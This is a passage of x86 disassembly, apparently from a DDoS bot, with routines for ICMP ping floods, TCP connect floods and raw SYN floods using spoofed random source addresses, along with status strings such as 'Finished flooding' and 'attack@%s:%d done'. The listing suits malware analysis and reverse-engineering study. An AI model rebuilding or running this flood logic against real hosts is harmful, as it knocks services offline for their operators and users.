		call	sub_40142E
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+79h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0EC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4277B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427850	proc near		; CODE XREF: sub_4014CEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427850
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F0EC
		lea	ecx, [esi+79h]
		mov	[esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427850	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427910:				; CODE XREF: ___:loc_4016DBj
					; ___:0040219Ej
		push	esi
		mov	esi, ecx
		call	sub_4014CE
		test	byte ptr [esp+8], 1
		jz	short loc_427928
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427928:				; CODE XREF: ___:0042791Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427940	proc near		; CODE XREF: sub_4011FEj ___:0040209Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4020AE
		test	[esp+4+arg_0], 1
		jz	short loc_427958
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427958:				; CODE XREF: sub_427940+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427940	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427970	proc near		; CODE XREF: sub_4020AEj
		jmp	sub_4014CE
sub_427970	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427990	proc near		; CODE XREF: sub_401A50j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427990
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	edx, [esi+54h]
		mov	eax, [esi+60h]
		mov	ecx, [esi+5Ch]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_40183E
		add	esp, 10h
		test	eax, eax
		jz	short loc_427A54
		mov	edx, [esi+5Ch]
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aSFinishedFlood ; "[%s] Finished	flooding %s %d Times"
		push	eax
		call	sub_40102D
		add	esp, 14h
		jmp	short loc_427A6E
; ---------------------------------------------------------------------------


loc_427A54:				; CODE XREF: sub_427990+9Aj
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+38h+var_24]
		push	offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch


loc_427A6E:				; CODE XREF: sub_427990+C2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	dl, [esi+90h]
		push	eax
		mov	al, [esi+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_427990	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427B10	proc near		; CODE XREF: sub_401E9Cj

var_1A		= byte ptr -1Ah
var_18		= byte ptr -18h
arg_0		= byte ptr  4
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFFCh
		call	sub_437B30
		push	esi
		push	edi
		push	offset aIcmp_dll ; "ICMP.DLL"
		nop
		call	near ptr 27F0920h
		mov	esi, eax
		test	esi, esi
		jz	short loc_427B7A
		mov	edi, dword_511918
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	esi
		call	edi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	esi
		mov	dword_51012C, eax
		call	edi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	esi
		mov	dword_510130, eax
		call	edi
		mov	ecx, dword_51012C
		mov	dword_510128, eax
		test	ecx, ecx
		jz	short loc_427B7A
		mov	edx, dword_510130
		test	edx, edx
		jz	short loc_427B7A
		test	eax, eax
		jz	short loc_427B7A
		mov	al, [esp+0Bh]
		test	al, al
		jz	short loc_427B85


loc_427B7A:				; CODE XREF: sub_427B10+1Bj
					; sub_427B10+52j ...
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0FFFCh
		retn
; ---------------------------------------------------------------------------


loc_427B85:				; CODE XREF: sub_427B10+68j
		mov	edx, [esp+24h+arg_FFE8]
		mov	eax, 0FFDCh
		cmp	edx, eax
		jle	short loc_427B9C
		mov	[esp+24h+arg_FFE8], eax


loc_427B9C:				; CODE XREF: sub_427B10+83j
		push	ebx
		push	ebp
		mov	ebp, [esp+2Ch+arg_FFEC]
		cmp	ebp, 1
		jge	short loc_427BAF
		mov	ebp, 1


loc_427BAF:				; CODE XREF: sub_427B10+98j
		call	ecx	; IcmpCreateFile
		mov	ebx, [esp+2Ch+arg_FFE4]
		xor	esi, esi
		test	ebx, ebx
		mov	edi, eax
		jle	short loc_427BF4


loc_427BC0:				; CODE XREF: sub_427B10+E2j
		mov	al, byte_4D84C9
		test	al, al
		jz	short loc_427BF4
		mov	ecx, [esp+2Ch+arg_FFE8]
		push	ebp
		lea	eax, [esp+30h+var_18]
		push	1Ch
		push	eax
		mov	eax, [esp+38h+arg_FFE0]
		push	0
		lea	edx, [esp+3Ch+arg_0]
		push	ecx
		push	edx
		push	eax
		push	edi
		call	dword_510128	; IcmpSendEcho
		inc	esi
		cmp	esi, ebx
		jl	short loc_427BC0


loc_427BF4:				; CODE XREF: sub_427B10+AEj
					; sub_427B10+B7j
		push	edi
		call	dword_510130	; IcmpCloseHandle
		pop	ebp
		pop	ebx
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0FFFCh
		retn
sub_427B10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427C50	proc near		; CODE XREF: sub_40183Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40188E
		mov	ecx, [esp+4+arg_C]
		mov	edx, [esp+4+arg_8]
		push	ecx
		mov	ecx, [esp+8+arg_4]
		push	edx
		push	ecx
		push	eax
		call	sub_401E9C
		add	esp, 14h
		retn
sub_427C50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427C90	proc near		; CODE XREF: sub_401BDBj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427C90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aForsyn	; "forsyn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	nullsub_10
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427C90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427D00:				; CODE XREF: ___:00401A28j
					; ___:00401AC3j
		push	esi
		mov	esi, ecx
		call	sub_401807
		test	byte ptr [esp+8], 1
		jz	short loc_427D18
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427D18:				; CODE XREF: ___:00427D0Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427D30	proc near		; CODE XREF: sub_401807j
		jmp	sub_4014CE
sub_427D30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427D50	proc near		; CODE XREF: sub_401366j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427D50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, ecx
		xor	eax, eax
		mov	ecx, offset byte_4E7D9F
		mov	[esp+2Ch+var_28], eax


loc_427D76:				; CODE XREF: sub_427D50+35j
		cmp	dword ptr [ecx], 0
		jz	short loc_427D87
		add	ecx, 78h
		inc	eax
		cmp	ecx, offset byte_4E86FF
		jl	short loc_427D76


loc_427D87:				; CODE XREF: sub_427D50+29j
		cmp	eax, 13h
		mov	[esp+2Ch+var_28], eax
		jg	loc_427F39
		lea	eax, [eax+eax*2]
		push	ebp
		push	esi
		push	edi
		lea	eax, [eax+eax*4]
		lea	ecx, [ebx+3Bh]
		lea	ebp, ds:4E7D2Bh[eax*8]
		call	sub_4017EE
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	cx, [ebx+58h]
		push	ecx
		call	near ptr 71AB2B66h
		nop
		and	eax, 0FFFFh
		mov	[ebp+64h], eax
		mov	eax, [ebx+54h]
		cmp	eax, 5
		mov	[ebp+68h], eax
		jge	short loc_427DF0
		mov	dword ptr [ebp+68h], 5


loc_427DF0:				; CODE XREF: sub_427D50+97j
		mov	edx, [ebx+50h]
		mov	ecx, 80h
		xor	eax, eax
		mov	edi, offset dword_510138
		mov	[ebp+6Ch], edx
		lea	esi, [ebx+11h]
		rep stosd
		mov	eax, [ebx+50h]
		mov	ecx, [ebx+58h]
		push	eax
		push	ecx
		lea	ecx, [ebx+3Bh]
		lea	edi, [ebx+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		mov	ecx, [esp+50h+var_1C]
		add	esp, 24h
		push	offset dword_510338
		push	0
		push	ecx
		push	offset sub_4012C1
		push	0
		push	0
		nop
		call	near ptr 27A0960h
		test	eax, eax
		mov	dword_51033C, eax
		jz	short loc_427E8B
		push	offset dword_448F44
		push	5
		push	eax
		push	0
		push	offset dword_510138
		call	sub_4013F2
		add	esp, 14h
		mov	[ebp+70h], eax
		jmp	short loc_427EBB
; ---------------------------------------------------------------------------


loc_427E8B:				; CODE XREF: sub_427D50+11Dj
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSErrorCreating ; "%s: error creating threads"
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h


loc_427EBB:				; CODE XREF: sub_427D50+139j
		lea	ecx, [esp+38h+var_24]
		call	sub_40142E
		mov	ecx, [ebx+58h]
		mov	[esp+38h+var_4], 0
		push	ecx
		lea	ecx, [ebx+3Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	edx, [esp+44h+var_24]
		push	offset aSAttack@SDDone ; "%s: attack@%s:%d done."
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+38h+var_24]
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [ebx+8Fh]
		push	eax
		mov	al, [ebx+90h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp


loc_427F39:				; CODE XREF: sub_427D50+3Ej
		mov	ecx, [esp+2Ch+var_C]
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_427D50	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427FD0	proc near		; CODE XREF: sub_4012C1j

var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= byte ptr -320h
arg_0		= dword	ptr  4

		sub	esp, 338h
		mov	eax, [esp+338h+arg_0]
		push	ebp
		push	esi
		mov	esi, 1
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ebp, ds:4E7D2Bh[eax*8]
		xor	eax, eax
		mov	[esp+340h+var_334], eax
		mov	word ptr [esp+340h+var_334], 2
		mov	[ebp+74h], esi
		mov	cx, [ebp+64h]
		mov	[esp+340h+var_330], eax
		push	ecx
		mov	[esp+344h+var_32C], eax
		mov	[esp+344h+var_328], eax
		nop
		call	near ptr 71AB2B66h
		push	ebp
		mov	[esp+344h+var_324], esi
		mov	word ptr [esp+344h+var_334+2], ax
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428066
		push	ebp
		nop
		call	near ptr 71AB4FD4h
		xor	edx, edx
		cmp	eax, edx
		jnz	short loc_42805F
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	esi
		pop	ebp
		lea	eax, [ecx+ecx*4]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D8745[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
; ---------------------------------------------------------------------------


loc_42805F:				; CODE XREF: sub_427FD0+68j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_428066:				; CODE XREF: sub_427FD0+5Bj
		mov	[esp+340h+var_330], eax
		mov	eax, [ebp+6Ch]
		push	ebx
		push	edi
		test	eax, eax
		mov	[esp+348h+var_338], 0
		jle	loc_428116
		mov	ebx, dword_511C3C


loc_428085:				; CODE XREF: sub_427FD0+140j
		mov	al, byte_4D84C9
		test	al, al
		jz	loc_428116
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_42809B:				; CODE XREF: sub_427FD0+EFj
		push	0
		push	1
		push	2
		call	ebx	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4280BB
		lea	ecx, [esp+348h+var_324]
		push	ecx
		push	8004667Eh
		push	eax
		call	near ptr 71AB4519h
		nop


loc_4280BB:				; CODE XREF: sub_427FD0+D8j
		add	esi, 4
		dec	edi
		jnz	short loc_42809B
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_4280CA:				; CODE XREF: sub_427FD0+10Ej
		mov	eax, [esi]
		lea	edx, [esp+348h+var_334]
		push	10h
		push	edx
		push	eax
		nop
		call	near ptr 71AB406Ah
		add	esi, 4
		dec	edi
		jnz	short loc_4280CA
		mov	ecx, [ebp+68h]
		push	ecx
		nop
		call	near ptr 2840000h
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_4280F3:				; CODE XREF: sub_427FD0+130j
		mov	edx, [esi]
		push	edx
		call	near ptr 71AB9639h
		nop
		add	esi, 4
		dec	edi
		jnz	short loc_4280F3
		mov	eax, [esp+348h+var_338]
		mov	ecx, [ebp+6Ch]
		inc	eax
		cmp	eax, ecx
		mov	[esp+348h+var_338], eax
		jl	loc_428085


loc_428116:				; CODE XREF: sub_427FD0+A9j
					; sub_427FD0+BCj
		xor	edx, edx
		pop	edi
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	ebx
		pop	esi
		lea	eax, [ecx+ecx*4]
		pop	ebp
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D8745[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
sub_427FD0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4281A0	proc near		; CODE XREF: sub_401DF2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4281A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aSyn	; "syn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F10C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4281A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428210	proc near		; CODE XREF: ___:004016E5j sub_40182Aj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4010FF
		test	[esp+4+arg_0], 1
		jz	short loc_428228
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428228:				; CODE XREF: sub_428210+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_428210	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428240	proc near		; CODE XREF: sub_4010FFj
		jmp	sub_4014CE
sub_428240	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_428260	proc near		; CODE XREF: sub_401EB0j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428260
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+50h]
		mov	edx, [esi+58h]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUUsecDms ; "%s: %s:%u	(%usec/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	edx, [esi+54h]
		mov	eax, [esi+50h]
		mov	ecx, [esi+58h]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_401DCF
sub_428260	endp

; ---------------------------------------------------------------------------
		cdq
		and	edx, 3FFh
		add	esp, 10h
		add	eax, edx
		mov	ecx, edi
		sar	eax, 0Ah
		cdq
		idiv	dword ptr [esi+50h]
		mov	edx, [esi+58h]
		push	eax
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+20h]
		push	offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 14h
		mov	dword ptr [esp+30h], 0FFFFFFFFh
		lea	ecx, [esp+10h]
		call	sub_401226
		mov	ecx, [esp+28h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4283D0	proc near		; CODE XREF: sub_401BC7j

var_95		= byte ptr -95h
var_8C		= dword	ptr -8Ch
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh

		sub	esp, 98h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0Eh
		xor	eax, eax
		lea	edi, [esp+0A8h+var_3B]
		mov	[esp+0A8h+var_3C], 0
		rep stosd
		stosw
		xor	esi, esi
		push	0FFh
		push	esi
		mov	[esp+0B0h+var_8C], esi
		stosb
		mov	[esp+0B0h+var_95], 0
		call	sub_4021C6
sub_4283D0	endp

; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+24h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+2Dh], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+36h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 20h
		cmp	[esp+0B4h], si
		mov	[esp+17h], al
		jnz	short loc_428461
		push	2710h
		push	3E8h
		mov	byte ptr [esp+1Bh], 1
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_428461:				; CODE XREF: ___:00428441j
		push	1
		push	esi
		push	esi
		push	0FFh
		push	3
		push	2
		mov	dword ptr [esp+64h], 1
		nop
		call	near ptr 71AB8769h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[esp+18h], edi
		jnz	short loc_428494
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_428494:				; CODE XREF: ___:00428485j
		lea	eax, [esp+4Ch]
		push	4
		push	eax
		push	2
		push	esi
		push	edi
		call	near ptr 71AB3EA1h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4284B7


loc_4284AA:				; CODE XREF: ___:0042865Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_4284B7:				; CODE XREF: ___:004284A8j
		mov	ecx, [esp+0B4h]
		mov	ebp, dword_511C38
		push	ecx
		mov	word ptr [esp+60h], 2
		call	ebp	; ntohs
		mov	ebx, [esp+0ACh]
		push	28h
		mov	[esp+62h], ax
		mov	[esp+64h], ebx
		mov	byte ptr [esp+24h], 45h
		call	ebp	; ntohs
		push	4000h
		mov	[esp+26h], ax
		mov	word ptr [esp+28h], 1
		mov	[esp+2Ah], si
		mov	byte ptr [esp+2Ch], 80h
		mov	byte ptr [esp+2Dh], 6
		mov	[esp+2Eh], si
		mov	[esp+34h], ebx
		mov	byte ptr [esp+44h], 50h
		mov	byte ptr [esp+45h], 2
		call	ebp	; ntohs
		mov	[esp+42h], ax
		mov	[esp+46h], si
		mov	[esp+3Ch], esi
		nop
		call	near ptr 27F0BB0h
		mov	[esp+48h], eax
		mov	al, byte_4D84C9
		test	al, al
		jz	loc_42870B
		mov	ebx, dword_511AC8
		mov	byte ptr [esp+58h], 0
		mov	byte ptr [esp+59h], 6
		jmp	short loc_428555
; ---------------------------------------------------------------------------
		xor	esi, esi


loc_428555:				; CODE XREF: ___:00428551j
		mov	edi, [esp+1Ch]
		mov	edx, [esp+0B4h]
		inc	edi
		push	edx
		mov	[esp+20h], edi
		mov	[esp+48h], si
		call	ebp	; ntohs
		push	14h
		mov	[esp+3Ah], ax
		call	ebp	; ntohs
		mov	[esp+5Ah], ax
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	esi, eax
		mov	[esp+2Ch], esi
		call	ebx	; rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ebp	; ntohs
		mov	[esp+34h], ax
		call	ebx	; rand
		mov	edi, eax
		shl	edi, 10h
		call	ebx	; rand
		or	edi, eax
		push	edi
		call	ebp	; ntohs
		mov	edx, [esp+0ACh]
		and	eax, 0FFFFh
		mov	[esp+38h], eax
		mov	eax, [esp+58h]
		mov	[esp+6Ch], esi
		mov	ecx, 5
		lea	esi, [esp+34h]
		lea	edi, [esp+78h]
		mov	[esp+70h], edx
		mov	[esp+74h], eax
		rep movsd
		lea	ecx, [esp+6Ch]
		push	20h
		push	ecx
		call	sub_401A37
		mov	ecx, 5
		lea	esi, [esp+28h]
		lea	edi, [esp+74h]
		lea	edx, [esp+74h]
		rep movsd
		mov	ecx, 5
		lea	esi, [esp+3Ch]
		lea	edi, [esp+88h]
		mov	[esp+4Ch], ax
		push	28h
		push	edx
		rep movsd
		mov	dword ptr [esp+0A4h], 0
		call	sub_401A37
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[esp+2Ah], ax
		mov	ecx, 5
		lea	esi, [esp+20h]
		lea	edi, [esp+6Ch]
		lea	eax, [esp+5Ch]
		push	10h
		rep movsd
		push	eax
		push	0
		lea	ecx, [esp+78h]
		push	28h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB2C69h
		cmp	eax, 0FFFFFFFFh
		jz	loc_4284AA
		nop
		call	near ptr 27F0BB0h
		mov	edx, [esp+48h]
		mov	ecx, eax
		sub	ecx, edx
		mov	eax, 10624DD3h
		mul	ecx
		mov	eax, [esp+0B8h]
		shr	edx, 6
		cmp	edx, eax
		ja	short loc_428707
		mov	al, [esp+13h]
		test	al, al
		jz	short loc_4286A9
		push	2710h
		push	3E8h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_4286A9:				; CODE XREF: ___:0042868Ej
		push	0FFh
		push	0
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+24h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+2Dh], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+36h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		db 8Bh,	94h, 24h
		dd 0DCh, 8820C483h, 52172444h, 417907E8h, 0C9A09002h, 84004D84h
		dd 4C850FC0h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_428707:				; CODE XREF: ___:00428686j
		mov	edi, [esp+18h]


loc_42870B:				; CODE XREF: ___:0042853Bj
		push	edi
		nop
		call	near ptr 71AB9639h
		mov	eax, [esp+1Ch]
		pop	edi
		pop	esi
		pop	ebp
		lea	eax, [eax+eax*4+5]
